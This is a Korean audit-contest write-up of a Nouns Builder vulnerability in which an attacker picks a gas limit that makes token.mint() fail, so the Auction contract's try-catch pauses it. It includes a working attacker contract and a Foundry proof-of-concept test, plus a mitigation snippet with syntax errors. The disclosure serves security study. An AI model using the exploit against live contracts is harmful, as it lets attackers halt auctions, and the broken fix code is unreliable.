sherlock-2023-11-nouns-builder-m01

[M-01] Attacker can force pause the Auction contract

보고서

Summary

공격자가 Auction._CreateAuction() 함수의 try-catch에서 예외가 발생하면 경매 컨트랙트를 일시정지 한다는 점을 악용, 일부러 예외를 발생시켜 임의로 일시정지할 수 있다.

Keyword

dos, griefing attack, exception handling, gas limit

Vulnerability

경매를 낙찰하고 다음 경매를 시작하기 위해 settleCurrentAndCreateNewAuction를 호출한다. 이 함수는 누구나 호출 가능하다.

새로운 경매를 시작하는 _createAuction 함수는 try-catch를 사용하여 token.mint() 실패 시 경매 컨트랙트를 일시정지 시킨다.

  function settleCurrentAndCreateNewAuction() external nonReentrant whenNotPaused {
    _settleAuction();
@>  _createAuction();
  }
 
  function _createAuction() private returns (bool) {
    // Get the next token available for bidding
@>  try token.mint() returns (uint256 tokenId) {
      // Store the token id
      ...
      return true;
    } catch {
      // Pause the contract if token minting failed
@>    _pause();
      return false;
    }
  }

token.mint() 함수는 tokenId가 창립자에게 발행되기로 예약된 번호라면 이들까지 발행해주므로 1개의 NFT만 발행하지는 않는다. 따라서 많은 양의 가스를 사용할 수 있다.

현재 이더리움 및 EVM 호환 체인에서 call은 부모 가스의 최대 63/64를 소비할 수 있다(EIP150). 공격자는 63/64만큼의 가스로는 token.mint() 를 전부 처리할 수 없도록 가스 리밋을 설정하여 token.mint()를 실패하게 할 수 있다. 동시에 _pause() 호출은 성공할 수 있는 충분한 가스(1/64)를 남기면 마음대로 경매 컨트랙트를 강제로 일시정지할 수 있다.

가스 요구 사항(가스 호출의 1/64가 _pause() 가스 비용 21572만큼 되어야 함)에 따라 token.mint()는 최소 1359036 가스(63 * 21572)를 소비해야 하며, 따라서 51 이상의 높은 베스팅 비율을 가진 창립자가 있을 때(창립자 NFT를 다수 발행해야 할 때) 공격이 성립한다.

다음은 PoC 이다.

  1. 익스플로잇 컨트랙트
    pragma solidity ^0.8.16;
     
    contract Attacker {
        function forcePause(address target) external {
            bytes4 selector = bytes4(keccak256("settleCurrentAndCreateNewAuction()"));
            assembly {
                let ptr := mload(0x40)
                mstore(ptr,selector)
    @>            let success := call(1500000, target, 0, ptr, 4, 0, 0)
            }
        }
    }
  2. PoC
    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.16;
     
    import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";
    import { MockERC721 } from "./utils/mocks/MockERC721.sol";
    import { MockImpl } from "./utils/mocks/MockImpl.sol";
    import { MockPartialTokenImpl } from "./utils/mocks/MockPartialTokenImpl.sol";
    import { MockProtocolRewards } from "./utils/mocks/MockProtocolRewards.sol";
    import { Auction } from "../src/auction/Auction.sol";
    import { IAuction } from "../src/auction/IAuction.sol";
    import { AuctionTypesV2 } from "../src/auction/types/AuctionTypesV2.sol";
    import { TokenTypesV2 } from "../src/token/types/TokenTypesV2.sol";
    import { Attacker } from "./Attacker.sol";
     
    contract AuctionTest is NounsBuilderTest {
        MockImpl internal mockImpl;
        Auction internal rewardImpl;
        Attacker internal attacker;
        address internal bidder1;
        address internal bidder2;
        address internal referral;
        uint16 internal builderRewardBPS = 300;
        uint16 internal referralRewardBPS = 400;
     
        function setUp() public virtual override {
            super.setUp();
            bidder1 = vm.addr(0xB1);
            bidder2 = vm.addr(0xB2);
            vm.deal(bidder1, 100 ether);
            vm.deal(bidder2, 100 ether);
            mockImpl = new MockImpl();
            rewardImpl = new Auction(address(manager), address(rewards), weth, builderRewardBPS, referralRewardBPS);
            attacker = new Attacker();
        }
     
        function test_POC() public {
            // START OF SETUP
            address[] memory wallets = new address[](1);
            uint256[] memory percents = new uint256[](1);
            uint256[] memory vestingEnds = new uint256[](1);
            wallets[0] = founder;
    @>      percents[0] = 99;
            vestingEnds[0] = 4 weeks;
            //Setting founder with high percentage ownership.
            setFounderParams(wallets, percents, vestingEnds);
            setMockTokenParams();
            setMockAuctionParams();
            setMockGovParams();
            deploy(foundersArr, tokenParams, auctionParams, govParams);
            setMockMetadata();
            // END OF SETUP
     
            // Start auction contract and do the first auction
            vm.prank(founder);
            auction.unpause();
            vm.prank(bidder1);
            auction.createBid{ value: 0.420 ether }(99);
            vm.prank(bidder2);
            auction.createBid{ value: 1 ether }(99);
     
            // Move block.timestamp so auction can end.
            vm.warp(10 minutes + 1 seconds);
     
            //Attacker calls the auction
            attacker.forcePause(address(auction));
     
            //Check that auction was paused.
            assertEq(auction.paused(), true);
        }
    }

Impact

공격자가 임의로 경매 컨트랙트를 일시정지 시켜 방해할 수 있다.

Mitigation

정확히 특정 에러가 발생하여 취소된 경우에만 일시정지 하도록 에러 핸들링을 구체화한다.

  function _createAuction() private returns (bool) {
      // Get the next token available for bidding
      try token.mint() returns (uint256 tokenId) {
          //CODE OMMITED
      } catch (bytes memory err) {
          // On production consider pre-calculating the hash values to save gas
@>        if (keccak256(abi.encodeWithSignature("NO_METADATA_GENERATED()")) == keccak256(err)) {
              _pause();
              return false
@>        } else if (keccak256(abi.encodeWithSignature("ALREADY_MINTED()") == keccak256(err))) {
              _pause();
              return false
          } else {
              revert OUT_OF_GAS();
          }
      }
  }

tags: bughunting, nouns dao, smart contract, solidity, dos, griefing attack, solidity exception handling, gas limit, severity medium, erc150